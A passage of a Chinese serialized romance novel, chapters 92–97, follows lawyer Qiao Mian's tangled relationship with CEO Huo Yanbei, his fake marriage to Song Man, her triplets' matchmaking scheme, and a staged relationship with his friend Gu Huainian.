薄唇擦过她白皙的耳,冷声道,“乔眠,收起你的小心思,你想借机离开霍氏?想都别想。我明确告诉你,你死都得死在我身边。” 乔眠嘲讽的眼神看着他,“霍总,我真的不懂你,刚才还宝贝似的紧张自己的妻子,这会儿又对我说这种话,您不觉得自己太渣吗?” 霍宴北真是受够了。 低头,狠狠吻住了她的唇。 乔眠完全招架不住,又推又打无济于事。 只得陷进他怀里,被迫跟他接吻。 最后,她再也忍受不了,咬住了他的舌尖。 男人吃痛,这才松开她一些。 额头抵着她的,呼吸紊乱的说,“乔眠,你是健忘吗?我之前就告诉过你,我没有……” ‘结婚’两个字刚欲吐出口时,办公室的门被人叩响。 紧接着传来宋沉的声音,“姐夫,是我。” 听到宋沉的声音时,乔眠慌乱的一把推开霍宴北。 眼见着自己长发微乱,衣领散开,嘴唇泛肿,这要是出去跟宋沉撞上的话,又不知道要闹出多大乱子。 可是,霍宴北似乎一点都不慌张,还淡定的回了一句,“进来。” 就在宋沉推门而入时,乔眠慌不择路的跑进了办公室里间的休息室。 刚一走进去,就怔住了。 这间休息室,仍是和六年前的装饰布置一模一样。 床上摆着的那只玩偶兔子还在。 那只玩偶兔子,是当年霍宴北有一次带她看电影,在抓娃娃机器上抓的奖励品。 那时候,霍宴北初入霍氏,为了工作,经常吃住在办公室。 有时候加夜班,他就打电话,让陈珂把她从学校接来公司陪他。 这张床上,曾经无数个夜里,两人相依缠绵,说尽了令人羞耻的情话。 乔眠鬼使神差的走到衣柜前,打开一看,更是吓了一大跳。 里面除了挂着他的一些衣服外,还有她曾经穿过的衣服。 和澜园那间卧室一样,他同样一比一还原了六年前她住过的地方。 第92章 乔眠,我需要你 乔眠真的觉得霍宴北这个人很割裂。 还是个偏执型精神变态。 曾经,她把心捧在他面前,他不要,现在她不在了,他却一副念念不忘的姿态…… 她真的不懂他心里在想什么? 明明他已经结婚了,连孩子都有了…… 乔眠关上衣柜,走进盥洗室。 置物架上放着一套女性生活用品。 从牙刷毛巾到化妆品,都是她曾经用过的…… 他真是个疯子。 六年了,居然还留着…… 他妻子宋蔓都不介意吗? 乔眠烦躁的拧紧了眉。 看着镜子里不足九十斤,过分纤瘦的自己,一时间,竟想不起来自己曾经一百六十斤时的模样。 可是,她却清晰的记得霍宴北曾经跟朋友们说的那些嫌弃她的话。 每一个字,都记得很清楚。 或许,之所以记忆深刻,是因为,曾经的自己,在所有人眼中,是一个又聋又哑的大胖妹。 身份地位和霍宴北云泥之别,她极度自卑,所以,听到最爱的人内心是那么嫌弃她时,才会陷入痛苦和绝望中吧…… 曾经的她,甘愿困守于他身边,可是,现在的她,死都要逃离他。 乔眠甚至一刻都等不了,掏出手机,给韩东平主任发了一条微信。 【韩主任,明天我回单位,有点事需要跟您聊。】 …… 霍宴北沉靠在真皮座椅里,修长的手指叩了叩桌案,蹙眉看着一进办公室就四下窥看的宋沉,“找我有事?” “姐夫……” 宋沉瞟了一眼紧闭的休息室门,“我刚才进来,好像看到一个女人的身影……” 男人黑眸微眯,“想知道,可以进去搜搜,看里面有没有藏女人。” 宋沉见霍宴北出奇的淡静,反而对自己的猜测不自信了:“姐夫,我就是开了个玩笑……” 他刚才开门进来时,似乎看到一个女人的身影。 不过,也有可能是他看花眼了。 “有事说事。” 霍宴北双手交叉于怀,面露不耐。 宋沉:“我刚才在公司楼下,看到陈珂开车送我姐回去,她晕血,额头还受伤了,说是乔眠那个女人害得。” 霍宴北几不可查的蹙了下眉,“是有这回事,所以,你是来兴师问罪的?” “对!” 宋沉愤愤道,“乔眠那个女人上次害了我,这次还把我小姨送进去了,这还不够,又在网上爆光我小姨被拘留一事,姐夫,这种心肠歹毒的女人,你留在霍氏早晚是个祸害。” 男人眉眼一沉:“你在教我做事?” “我哪敢儿啊!” 宋沉慌忙摆手,“姐夫,我是想说,乔眠那个女人……” “阿沉,这件事我自有分寸。” 霍宴北冷声打断。 宋沉见姐夫神情严肃,话语间透着警告,有些害怕的闷声回了一句:“知道了……” “没事就走。” 霍宴北掀开一份文件翻阅着,头都没抬地说。 宋沉这下想起来,今天找姐夫是有正事的,“姐夫,上次我给你提的酒吧一条街的项目计划,现在地址已经选好了,资金什么时候可以到位呀?” 霍宴北:“直接去财务办手续吧。” 宋沉眼睛一亮,“太好了!姐夫,你就瞧好吧,我一定不会让你的投资打水漂的。” “嗯,最好是。” “那我现在就去财务部。” “嗯。” 宋沉一脸兴奋的走出办公室,路过法务部时,刻意进去瞧了一圈。 并没有看到乔眠的身影。 宋沉转身,望了一眼总裁办公室,神色微凝。 难不成,那会儿,乔眠真的在姐夫的休息室? 看来,他猜的没错,乔眠就是仗着自己有几分姿色,企图勾引他姐夫上位! 不行,他一定得告诉姐姐,想办法让她从霍氏滚蛋! …… 霍宴北走进休息室时,就看到乔眠斜靠着床头睡着了。 他在床前坐下,静静地看着她安静的睡颜许久后,将她身体放平。 见她身上的衣服沾着咖啡渍时,从衣柜里拿出一件阿妩穿过的衬衫放在床头柜上…… 乔眠感觉身体被什么重物压着,沉甸甸的。 蓦地睁开眼睛,映入眼帘的是霍宴北那张俊美逼人的面孔。 此时,两人身上搭着同一条薄毯。 她枕在他胳膊上,一只手缠在他紧窄的腰上。 而他,阖着眼眸,还在熟睡。 乔眠懊恼的咬了一下唇角。 那会儿宋沉和霍宴北在外间办公室谈事情,她等的实在熬不住,靠在床头闭目养神,没想到,居然睡着了。 只是,霍宴北不仅没叫醒她,还躺在她身边睡着了。 此时,乔眠近距离凝视着男人深邃立体的五官,不禁想起以前,每次在他怀里醒来时,才敢肆无忌惮的偷看他。 不,是欣赏。 虽然,她这个人性子过于安静,其实,曾经的她,也很肤浅,是个颜控。 起初,喜欢上霍宴北,就是被他那丰神俊朗的长相迷惑了。 和他在一起时,她常常患得患失,觉得自己和这世上最绝美的男人在一起,就像做梦一样。 所以,和他在一起时,她总是做到极致的乖顺懂事。 唯恐哪里做的不够好而惹他不高兴,更怕他有一天厌弃她,不喜欢她了。 若不是后来听到他跟朋友谈论她那番话后,她还不知道,原来,他从来没有真正喜欢过她…… “摸够没?” 乔眠走神时霍宴北攸地睁开了眼睛。 与她目光对上。 乔眠这才注意到,不知何时,自己的手已经抚上男人的眉眼。 还被抓了个现行。 乔眠脸颊一烫,欲抽回手时,霍宴北圈住她小腰的手掌,用力一收。 乔眠的身体与他紧密贴着,牢牢的困在了他怀里。 她刚一挣扎,男人攥紧她的腰,往怀中用力摁住,“别点火。” “……” 乔眠不是未经人事的小姑娘,此刻,清晰的察觉到男人身体此时的危险。 她红着脸,缩进他怀里,再也不敢乱动一下。 见她难得肯在他怀里温顺,霍宴北娟俊的下巴抵在她松软的发顶上:“乔眠,我需要你待在我身边。” 乔眠冷漠回道:“霍宴北,我不愿意和你在一起,死都不愿意。” 第93章 不给她一丝喘息的机会 听到这么决绝的回答,男人狠狠拧了下眉。 一个翻身,将她覆盖在身下,眼睛里带着一丝愠怒,“你就这么厌恶我?” 乔眠表情冷漠,唇齿间溢出一个字,“是,霍宴北,我很讨厌你。” 她试图用决然的态度打消他困她于身边的念头。 殊不知,她越是表现出厌恶抗拒他,只会激起一个男人骨子里的征服欲和掌控欲。 霍宴北低头,寻到她的唇,深深地吻了下去。 乔眠不愿意,挣扎撕扯之下,一双纤细的手腕却被他一只大掌牢牢攥住,困于头顶。 很快,她只能陷进他的掌控中,被迫承受着他越来越炽烈的吻。 根本不给她一丝喘息的机会。 她气恼的咬他,却换来更加疯狂无度的吻。 直到真的快要呼吸不过来时,她才不得不乖顺柔软下来。 察觉到她不再抗拒挣扎,霍宴北缓缓松开她的唇,看到身下女人霜红的眸底沁着的泪水时,一把捏住她的下巴,“不愿意成这样?” 一滴眼泪从眼角滑落,乔眠冷冷的推开他的手,颤着小手一颗一颗解开身上衬衫的纽扣,“霍总,如果我跟你做一次,你能不能保证以后不要再缠着我?” 霍宴北心底腾然升起一股无名火,看到最后一颗纽扣即将解开时,他一把抓起放在床头柜上的一件衣服扔到她脑袋上。 紧接着,他翻身下床,点了一支烟,噙在嘴里,“如果我只是需要一个女人解决生理需求的话,也不是非你不可,乔眠,我需要你,只是因为你长得像我妹妹阿妩而已,我无意伤害你,但也绝不会放开你。” 说完,男人拿起外套出了休息室。 乔眠缓缓坐起身,呆呆的望着手里抓着的一件白衬衣。 才发现这件宽大的衬衣,是曾经她穿过的…… 乔眠说不清楚此刻心情有多么糟糕。 总之,整个人很累很累。 自己之前的衬衫还沾着咖啡渍。 她只能换上手里这件肥大的衬衣。 走出休息室时,霍宴北站在落地窗前正在抽烟。 听到她出来的动静时,转头,看过来一眼。 当看到她身上那件宽大到极不合身的衬衣时,漆黑的瞳孔微微一紧。 不知是不是错觉,乔眠穿着阿妩衣服时,眉眼间的神态,简直和阿妩一模一样…… “霍总,我出去了……” 乔眠被他盯着看得有些心虚,颔首说了一句后,转身就走。 只是刚握住门把手时,身后传来男人清冷低沉的嗓音,“乔眠,我再问你一次,热搜上的新闻,到底是不是你做的?” 乔眠没有转头看他,沉默了两秒,回了一个字:“是。” 霍宴北脸上的表情不辨喜怒,目光清冷的盯着她的背影数秒后,薄唇轻启,“别再有下次。” 乔眠知道,他这么说的意思是,蒋芸上热搜一事,已经画上了句号。 他没有追责,放过她了。 乔眠微微松了一口气,转过身,认真道了一声谢谢后,走出了办公室。 回到法务部的工位上后,她一言不发的开始忙工作。 只是,她不知道的是,刚才从霍宴北办公室走出来的一幕,经被宋沉看了正着。 这次,他压下怒火,没有像之前那样冲动的找乔眠对峙。 姐夫明显护着乔眠,他不敢在公司对这个女人发难。 从霍氏出来后,他直接开车去了帝景别墅,把这件事告诉了姐姐。 “阿沉,你没有看错吧?” 宋蔓坐在沙发上,额头贴着一个创可贴,一脸不敢置信的表情问。 宋沉拍着胸膛,“我亲眼看见乔眠从姐夫的办公室出来,说明,她之前就是躲进了休息室。” “你说什么?乔眠进了休息室?” 宋蔓惊诧的问。 宋沉,“是啊,姐夫的办公室只有休息室能藏人了。” 宋蔓脸色一点点阴沉下来。 身体禁不住一阵颤抖。 总裁办公室里的那间休息室,霍宴北从不允许她进去。 却让乔眠那个女人进去了。 说明霍宴北因为乔眠那双眼睛长得像霍妩,生了不一样的心思。 她最担心的事情还是发生了。 不行,她不能再等下去了。 月底京大校庆结束,她就要以霍宴北秘书身份进入霍氏。 她一定想方设法把乔眠撵出公司。 “姐。” 宋沉见宋蔓脸色很差,说道,“你可得把我姐夫看住了,别让乔眠那个女人给勾走了。” 宋蔓僵硬的笑了一下,“放心,只要姐姐在一天,就不会让你姐夫被别的女人纠缠上。” 何况,乔眠不配。 即便霍宴北一时对她上心,也只是把她当成一个替身罢了。 宋沉见姐姐反应并不大,愤恼道:“姐,反正让我逮住机会,肯定好好教训一下乔眠那个女人。” 宋蔓,“别惹事,小姨现在还被拘留呢,这都拜乔眠所赐,她可不是一个软包子。” 提及小姨,宋沉更恼了,“反正我不管,这个恶毒的女人,我肯定要她好看!” …… 晚七点。 霍宴北从办公室出来,扫了一眼对面法务部,办公区已经没人了。 他站了几秒后,抬步朝电梯走去。 坐电梯到负一。 上车后,陈珂汇报道,“霍总,已经查清楚了,把蒋芸被拘留一案捅给媒体记者的不是乔律师。” 霍宴北脸上没有一点意外的表情,“是谁?” 陈珂回道,“是乔律师的一个朋友,或许是受乔律师指使做的这件事,又或是纯粹为了替乔律师出气才曝光的。” “不管是哪一种情况,无所谓了。” “是啊,还好这次我们及时公关掉了这件新闻,要不然霍氏股市肯定大受影响。” 说到这里,他问,“霍总,今天警方来电话,说是蒋芸在里面非常不配合,而且宋蔓小姐以蒋芸有心脏病为由,准备办理保外就医呢。” 霍宴北眉目安静,“随她们吧。” 语落,他掏出手机, 点开微信,仔细琢磨一遍昨天晚上跟乔眠聊的所有微信内容。 明明出租屋只有乔眠和她女儿,吃饭却摆着四双碗筷。 第94章 孩子们约霍宴北见面 正沉思时,手机屏幕上跳出一条新的微信消息。 是乔眠发来的。 【周六,我们见面聊吧。】 看到这条微信时,他很诧异。 今天跟乔眠闹得不算愉快。 他以为,她会生气,甚至会躲着他,没想到,她却要约他私下见面? 霍宴北总觉得对方怪怪的。 思来想去,还是回复了一条微信,【在哪儿见面?】 等了许久,对方回复:【我家附近的汉堡店。】 还没见过约人在汉堡店见面聊事情的? 霍宴北愣是看笑了。 不过,他之前去过城中村,周边环境就像一个大集市,确实没什么像样的咖啡厅、茶室之类的。 约在汉堡店,算得上安静点的地方了。 虽然猜不透乔眠奇奇怪怪的要约他见面聊什么,出于好奇,他没有再问什么,回复道:【好。】 …… 出租屋。 三小只收到霍叔叔同意见面的微信时,格外有成就感。 还有些小兴奋。 好像干了一件很了不得的大事。 “哥哥,偷偷和霍叔叔见面,我们真的不要告诉妈妈吗?” 乔慕野问。 乔慕城:【既然是给妈妈找未来的老公,给我们选一个好爸爸,我们当然得先看看霍叔叔本人好不好再说。】 乔慕心表示赞同,【我好想快点见见霍叔叔本人呢,到时候给妈妈一个惊喜。】 “你们三个,快过来吃饭哦。” 乔眠端着饭菜从厨房出来时,就看到三个小宝围坐在一起,不知道又在小声密谋什么。 最近,三个孩子总是围着手机玩,神神秘秘的。 乔慕城跟弟弟妹妹比了一个嘘的手势,走到餐厅坐下。 乔慕城看着一桌子丰盛的饭菜,一脸茫然:“妈妈,你是发大财了吗?” 乔慕野:“哇啊,还有大虾,妈妈最近总是给我们做大餐,是涨工资了吗?” 乔慕心眼馋的盯着飘香的饭菜,嘟哝了一句:“妈妈一定是中彩票了。” 听着三个孩子你一言我一语的,关注点却都在一个‘钱’字上时,乔眠心里挺难受的。 这些年,总归是她没有给孩子们提供足够好的生活条件,这才养成了孩子们总是担心钱的问题。 乔眠收敛情绪,给三小只一人剥了一只大虾,“妈妈马上要换新工作了,工资比现在要高很多。” 乔慕城问,“新工作……还是律师吗?” 乔眠揉揉他的小脑袋:“当然哦。” 乔慕野:“妈妈,新的工作单位离我们家会不会很远?” “比现在工作的地方近一些。” 乔慕心嘴里鼓鼓囔囔的,“妈妈,那我以后是不是可以拥有很多漂亮的公主裙了?” “乔慕心,你就知道臭美。” 乔慕城唬了她一眼。 乔慕野附和道,“妈妈工作很辛苦,钱要攒下来。” 乔慕心小声嘟哝了一句,“反正我们马上要有新爸爸了,到时候肯定会有很多很多钱……” “什么新爸爸?” 乔眠听后,愣了一下。 乔慕心刚要开口说些什么时,接收到乔慕城和乔慕野投来的眼神时,立马摇头道,“反正,等以后妈妈给我们找到新爸爸以后就知道啦。” 乔眠听女儿又提新爸爸,心里不禁想到了霍宴北…… 心里更难受了。 孩子们期待爸爸,可是,他们的爸爸,已经是别人的爸爸了…… 况且,等她离开霍氏,和霍宴北之间断了关系,或许,这辈子都不会再和他有任何牵扯。 至于给孩子们找一个新爸爸…… 她从未真正想过这件事…… 走神时,有人敲门。 她走过去开门一看,是阮薇。 她提着一袋子零食进来,给孩子们后,拉着她去阳台。 “眠眠,蒋芸的新闻会闹出这么大动静,居然还被撤了,是霍宴北做的吗?” 乔眠点了点头,“是他。” 阮薇一听,急忙问:“这件事,霍宴北会不会怀疑到你头上啊?” 她也是后反劲才想到,自己图一时解气,很可能会给乔眠惹来大麻烦。 乔眠为了宽阮薇的心,并没有告诉她,今天在霍氏被霍宴北的妻子宋蔓为难一事。 “没有,这件事已经翻篇了。” 她说道。 阮薇这才松了一口气,“吓死我了,我就怕霍宴北怀疑你,还为难你。” “没有……” 乔眠不想再聊他,于是换了一个话题。 把马上离职,以及加入同尘律所一事,告诉了阮薇。 阮薇听后,一脸诧异,“眠眠,这么好的事情,不会有诈吧?” 乔眠摇头,“不会,我已经查过,同尘律所已经在律协备案过。” “那就好。” 阮薇感慨,“这次可是你离开他的好机会,可一定得抓住了。” “嗯,别担心,其他问题我已经和同尘谈妥了。” 说着,乔眠望向窗外飘起来的零星雪花,“我现在恨不得马上就离开霍氏。” 阮薇若有所思,“那如果你离开霍氏后,霍宴北还要继续纠缠你怎么办?” 乔眠皱眉,“那我就带着孩子们回沪城,或者去一个陌生的城市,让他再也找不到……” …… 翌日。 乔眠没有请假。 借着回原单位汇报工作的由头,回了一趟荣华律所。 直接去了韩东平主任的办公室。 “小乔啊,你之前发微信说有事跟我聊?” 韩东平伸手搭在她肩上,“离开这么久,是不是惦念师傅了?” 乔眠忍着恶心的冲动,侧身躲开他的咸猪手,直接开门见山:“韩主任,我今天回来,是跟您谈离职的。” 说着,从包里取出一份辞职报告,放在办公桌上。 韩东平怔了两秒后,走到办公桌前,拿起辞职报告看完后,皱眉道:“小乔,之前我就已经说过了,你的劳务合同还没有到期,如果要离职的话,就得赔偿违约金。” 乔眠面色平静:“我会付违约金的。” “那可是六十万。” 韩东平吃惊地看着她,着重强调钱的数额。 他了解乔眠的经济状况,知道她缺钱,平时还为了生计做兼职,怎么可能能拿得出来六十万? “小乔,你不是在跟我开玩笑吧?” 第95章 终于离职了 “哪位。” 男人语气低沉,带着初醒时分的朦胧暗哑。 还有一丝不耐烦。 应该是熟睡中,被吵醒了。 虽然只是打电话,但乔眠已经有些紧张的心口发闷。 霍宴北有很严重的起床气。 她能想象到,此时,他被吵醒,沉着一张脸的样子。 肯定很吓人。 “说话。” 迟迟没听到说话,对方语气很差的问了一句。 乔眠深吸了口气,故作镇静地开口:“霍先生,我是乔眠。” 那边。 霍宴北在听到自报姓名的乔眠时,怔了一瞬后,从床上坐了起来。 看了一眼手机屏幕上显示的一串手机号码,觉得眼熟。 顿了两秒后,他翻身下床,穿上拖鞋,走到落地窗前,神情透着一丝疲惫,摁着眉心,冷声问,“有事?” “霍先生,我的包好像落在您车上了。” “嗯,在。” 他语气冷淡,言简意赅。 “那我……” 本想说去找他拿回包的,但是,话到嘴边儿,改了主意,“我叫个同城跑腿,去您那里取包,可以吗?” 末了,补了一句,“我付跑腿费,您只需帮……” 话还未说完,男人不耐烦的打断她:“没时间等你,拿包去公司找我。” 乔眠知道他这个人,一旦决定的事情,没人能够动摇。 她只好妥协:“那您几点方便,我过去取。” 霍宴北垂眸,看了一眼手机时间,蹙眉道,“十一点。” “好……” 匆匆挂完电话后,乔眠蔫吧地泄了一口气。 看时间已经九点多了。 现在出门坐地铁过去,正好来得及。 最后走到镜子前,整理了一下头发,戴着一块电话手表出门了。 此时,霍宴北坐在落地窗前的单人沙发上,把乔眠刚打来的新手机号复制下来,发给了陈珂。 【这个手机号和之前你查的那个微信号实名认证的手机号,是不是同一个?】 不稍两分钟,陈珂给出答案:【是同一个号码。】 霍宴北扯了扯唇角。 果然,‘芋粥无底美少女’这个微信,确实是她。 还说没有征婚? 小骗子。 男人收起手机,洗漱后,换了一套衣服,来到一楼餐厅。 张妈早早就将早餐备好了。 “少爷,您昨夜没睡好?” 张妈见他神色疲惫,关心的问了一句。 霍宴北嗯了一声。 张妈又道,“等太太和小小姐回来后,这个家就热闹了,到时候您和太太再生……” “张妈,你去忙吧。” 霍宴北出声打断。 态度却很客气。 但若是换作旁人说出那番话,他早就冷脸了。 张妈之前是伺候在霍宴北母亲身边的人。 从他母亲在娘家时,就跟在身边的。 自从他母亲去世后,他身边唯一亲厚的也只有张妈一人。 霍宴北待她如亲人一般,还有一个很重要的原因是—— 当年那场车祸,张妈的儿子为了救他……死了。 对此,霍宴北一直觉得亏欠张妈。 “少爷,您别生气,我也是希望您好好生活下去,当年,您和宋蔓小姐的亲事,可是您母亲亲自定下的。” 张妈说完,叹了一声,退出了餐厅。 霍宴北放下筷子,神色冷冷的起身出门了。 抵达霍氏集团,下车时,扫了一眼后车座上那只女包,顺手拿着下了车。 一路穿过大厅时,招来不少人侧目。 霍宴北走进办公室时,陈珂已经等着了。 他将包放进里间休息室,出来时,陈珂将一份文件放在他的办公桌上,“二爷,这是今天上午开会要用的项目资料,您先过目一下。” 末了,给沏了一杯热咖啡递过去。 霍宴北接过,抿了一口,将杯子放在桌子上,翻阅完文件后,说道,“几点开完会?” “十一点多。” 霍宴北沉吟道,“乔眠十一点会过来,到时候让她上来。” “她来做什么?” 陈珂很惊讶。 “拿包。” “哦。” 陈珂昨夜送二爷回别墅,下车开门时,确实在后排座看到一个女包…… “把她接这里吗?” 这可是总裁办公室,就算是内部员工,不到级别也进不来的。 他正想着,霍宴北回了一句,“带她到办公室等我。” 陈珂应了一声后,霍宴北起身朝门外走去,去了会议室。 乔眠乘坐地铁,又转了一趟公交车,才抵达霍氏集团。 抬头,望着高耸入云的霍氏大厦,乔眠心里有一种说不清道不明的情绪。 她不是第一次来霍氏集团。 六年前,霍宴北有时候在公司加班,会打电话让她来公司送餐。 有时候,夜里回不了家,也会让她去公司,满足他的生理需求…… 想到这些,脸颊不由地滚烫滚烫的。 摒弃掉杂念后,她走进大厅,来到前台。 没有说找霍宴北。 只说找陈珂特助。 “有预约吗?” 前台问。 乔眠摇头。 前台扫了她一眼,连电话都没有打,直接说,“陈特助忙着呢,你先坐那儿等一会儿。” 乔眠只好去休息区坐着。 等待期间,给霍宴北打了一通电话。 那边不接。 又打了两次,依旧没人接听。 等了十多分钟,前台忽然走过来,态度十分恭敬地开口说:“乔小姐,抱歉,陈珂特助请您到31层。” 乔眠有些犹豫。 她原本想着陈珂帮忙拿下来就行。 现在居然还要上楼…… 罢了。 来就来了。 走进电梯后,她主动站在角落里。 很快,电梯上来了几个穿着职业套装的女员工。 “哇塞,你们今早看到了吗?霍总居然拿着一个女士包包?” “都说霍总隐婚了,该不是他太太的包包吧?” “怎么可能?那个包看起来就是个地摊货,霍总的太太可是名门出身。” “该不是哪个撞大运的灰姑娘,命好被咱们霍总看上了?” “好羡慕哦。” 女员工们七嘴八舌的议论着。 乔眠听得心塞又无语。 果然哪哪都不缺八卦。 但是,她唯一抓住的重点是,霍宴北确实结婚了…… 正在这时,站在乔眠前面的一个女人忽然出声训斥,“背后蛐蛐霍总,你们是一个个都不想干了?” 众人扭头,看清楚说话的人是谁时,纷纷闭嘴。 第96章 因为她,兄弟反目了 众诚律所。 顾淮年斜靠着沙发,斜睨着自打坐下来就一言不发的活祖宗。 烟灰缸里,塞满了烟头。 “难得你这尊大佛肯光临我这小庙,一来就板着一张脸,我惹你了不成?” 霍宴北将还未抽完的小半根烟碾灭在烟灰缸里,撩起薄薄的眼皮,睨了他一眼,“你这两天在给蒋芸办保外就医?” 顾淮年表情不自然地咳嗽了一声,“嗯……不出意外的话,蒋芸明天就转去医院了,这事没告诉你,是因为……” “宋蔓找你办的。” 霍宴北淡声打断。 顾淮年叹了一声:“你是知道的,宋蔓一直将蒋芸视作亲妈一样,现在蒋芸出事,你又不肯帮忙,她这才找我,想办法把蒋芸从看守所捞出来。” “嗯……” 霍宴北沉吟片刻,问了一个问题,“你现在还很喜欢宋蔓?” 刚端起水杯,喝了一口水的顾淮年,听到这句话,吓得直接喷了出来。 他急忙放下水杯,抽出纸巾,擦着西装上的水渍,“宴北,帮蒋芸这件事没告诉你,是怕你不同意,我跟宋蔓之间,都是多少年前的事情了,而且,以前,也是我单方面追的她,她心里从始至终爱的是你,我早就放下这段感情了,你现在问这个,什么意思?” “我跟宋蔓就是从小一起长大的情分,你要是往偏了想,就是对我人格的侮辱。” 见顾淮年又急又气,霍宴北轻笑一声:“急什么,我不是那个意思。” “那你是什么意思?” 霍宴北:“我现在计划把天御公司交还到宋蔓手里,到时候,我会和她解除这段虚假的‘婚姻’关系,她就是一个自由人了……” “等一下。” 顾淮年抬手打断他,“你意思是……你要抛弃宋蔓?” 霍宴北淡漠的扯了一下嘴角:“无所谓抛弃不抛弃,六年前,我跟她为了各自的目的假结婚,现在是时候解绑利益关系了。” “艹!” 顾淮年倾身过去,一把薅住他的衣领,将人从沙发上拽起来,“可她好歹跟了你六年,眼巴巴的等了你六年,她对你的感情是真真的,你说不要就不要了?霍宴北,你这个人还有心吗?” 霍宴北紧扣住他的手腕,用力掰开,整理着衣领起身,“你说的对,我这个人没有心,如果六年前,我没有跟宋蔓达成一致假订婚,或许阿妩就不会在我和宋蔓的订婚宴上,以最残忍的方式离开我……” 顾淮年气得要死,“霍妩霍妩霍妩!又他妈的提她?六年前,是她嫉妒,放了一把火,毁了订婚宴,还害死了几条人命,你为此,付出了多少代价都忘记了?你现在对一个死人念念不忘,还要放弃宋蔓?霍宴北,你就是个疯子!” 霍宴北清冷的眉眼一点点沉了下来,“我和宋蔓之间本就是利益关系,现在不过是各自回归到原来的位置而已。” “可你明知道宋蔓一直在等……” 霍宴北冷声打断,“就是因为知道,所以,不能再耽误她了。” “你这么着急和她解绑,该不是为了乔眠吧?” 顾淮年猜测。 霍宴北皱眉:“和她无关。” 顾淮年正欲再开口问些什么时,手机响了。 他不耐烦的按了接听键。 听到前台说有位乔女士找他时,顾淮年暗灰的眼眸瞬间亮了起来。 他翘起唇角,看了一眼霍宴北,吩咐前台:“带她上来吧。” 挂断电话后,顾淮年整理了一下领带,调整了一个坐姿,惬意的靠着沙发背,“好好跟宋蔓过日子,她是你这辈子都推卸不掉的责任,而我……现在已经名花有主了。” 这些年,他为宋蔓委屈。 这么好一个女人,苦苦等了霍宴北这么个冷心冷肺的人六年,现在要被抛弃,顾淮年真的看不下去了。 既然霍宴北想要乔眠,那么他偏要跟他抢! 如果乔眠成了他的女人,霍宴北兴许就收心回归家庭,和宋蔓好好过日子了。 “你什么时候交女朋友了?” 霍宴北问。 顾淮年挑眉不语。 霍宴北懒得跟他打哑谜,抬步朝门口走去。 顾淮年见对方不上套,跟上两步,拦住他,“你就不想见见我新交的女朋友是谁吗?” “没兴趣。” 语落的瞬间,办公室门被人推开。 乔眠出现在办公室门口。 翘班被老板抓到现行的尴尬,让乔眠紧张又慌措。 “霍……霍总,没想到在这儿遇上,真巧。” 本该在公司上班的乔眠,却出现在顾淮年的律所,让霍宴北意外的同时,很是不悦。 “乔律师,你来这里做什么?” 他语气很差。 乔眠攥紧包包,还没开口,顾淮年越过霍宴北,走过来,一边抓住乔眠的手腕,往里走,“我跟乔律师事先约好的。” “我没……” 乔眠刚要解释,顾淮年抬手压着她的肩膀,迫使她坐在沙发上,“我们约的下午两点,怎提前来了?想我了?” “……” 乔眠没明白顾淮年闹得是哪一出,再次想要开口解释时,霍宴北岑冷的目光落在她身上,“乔律师,上班时间,你跑出来约会,请假了吗?” “……” 约会? 乔眠莫名其妙就被架在了火堆上烤。 顾淮年还见缝插针的添了一把火,“宴北,乔眠现在是我女朋友,给兄弟个薄面,就不要追究了吧?” ‘女朋友’三个字,惊雷般在耳边炸开。 霍宴北盯着乔眠的目光冷得快要结出冰了,“乔律师,你和顾淮年在一起了?” “我……” 顾淮年压在乔眠肩上的手掌微微收紧,阻断了她的话。 也就是这一刻,乔眠突然沉默了。 她的沉默,无疑是默认。 霍宴北愠怒,“过来。” 乔眠紧咬着唇,不肯跟他走,“霍总,我还有事情跟顾律师谈,晚点再回公司,今天算我旷工吧……” “宴北,你这么凶我女朋友,我可是会生……” 还未说完,霍宴北抬手,冷硬的一拳头砸在了顾淮年脸上。 这一拳,砸的又狠又重。 顾淮年硬生生的摔坐在地上。 唇角溢出一缕鲜血,连眼镜都飞到了地上。 乔眠见识过霍宴北打人时的狠戾,但还是受惊的吓了一跳。 几乎是下意识反应,弯腰,伸手去扶顾淮年。 但是,双手伸出去后,又后悔了。 正欲缩回去时,顾淮年顺势抓住她的手腕,另一只手撑着地面,借力起来,倒靠在沙发上。 “阿眠,你一直不肯公开我们的关系,这下好了,因为你,我们兄弟反目了……” 第97章 和顾淮年成了情侣 顾淮年探着一张挂彩的俊脸,凑到乔眠面前抱委屈。 一句话,把两人的‘恋情’彻底坐实。 乔眠抬眸,眼神复杂的看向霍宴北。 他也在凝视着她。 似乎在等她说点什么。 可是,乔眠喉咙里就像黏了胶水似的,终是一句话也没有说。 直到砰一声巨响。 男人挺拔修长的身影消失在门口,乔眠收回悄然泛红的目光,落向一直盯着她的顾淮年。 “顾律师,我不知道你硬拉着我演这一出戏是为了什么,也不想知道,我今天来找你,是还东西的。” 语落,她从包里取出一个精美的首饰盒放在茶几上,“手链我没戴过,还请顾律师以后不要再送我这些东西消遣我。” 顾淮年抽出纸巾,擦拭着嘴角的鲜血,“乔律师,少装了,刚才我拉着你演戏,以你的性子,若是不愿意配合,当场就跟我翻脸了,不是吗?” 乔眠起身,“你想说什么?” 顾淮年伸手圈住她的手腕,将又硬拉回沙发上坐着,“你刚才不是也顺水推舟配合我,气走了霍宴北?” 被戳中心思,乔眠不再藏着掖着,“霍总有家室,我需要跟他保持距离。” “家室?” 顾淮年怔了两秒后,目光定定的看着乔眠勾起唇角笑了。 原来,乔眠并不知道,霍宴北和宋蔓是假结婚…… 霍宴北没告诉她,想来是不想假结婚一事节外生枝。 换一种说法,那就是……霍宴北不信任乔眠。 毕竟,乔眠是悬剑。 宋沉之前栽在她手里。 这次,蒋芸直接被她搁进去了。 霍宴北再喜罕她,怕是也不敢在和宋蔓利益解绑之前,把假结婚一事告诉乔眠一个外人。 宋家和霍家利益捆绑太深了,一旦假结婚一事曝光出去,霍宋两家都会陷入舆论中。 “你……笑什么?” 顾淮年眯着眼睛,笑得像一只狐狸精,让乔眠心里发怵。 没想到他下面的话更炸裂。 “阿眠,你做我女朋友吧?” “……” 乔眠差点被这一声肉麻的‘阿眠’送走,一脸嫌弃的往旁边挪了一下,“顾律师,有病看病,我不奉陪了。” 说罢,起身就走。 刚握住门把手,顾淮年就像狗皮膏药一样黏了上来。 一只手撑在她身侧的墙壁上,以壁咚的暧昧姿势困住她。 “阿眠,你喜欢霍宴北吗?” 他一脸认真的问。 乔眠忍着又一声‘阿眠’带来的恶心劲儿,从唇齿间溢出三个字:“不喜欢……” “很好。” 顾淮年修长的手指捻起她鬓边的一缕长发把玩着,“霍宴北之所以强行把你留在身边,是因为你长得像他妹妹霍妩,这点,你应该知道吧?” 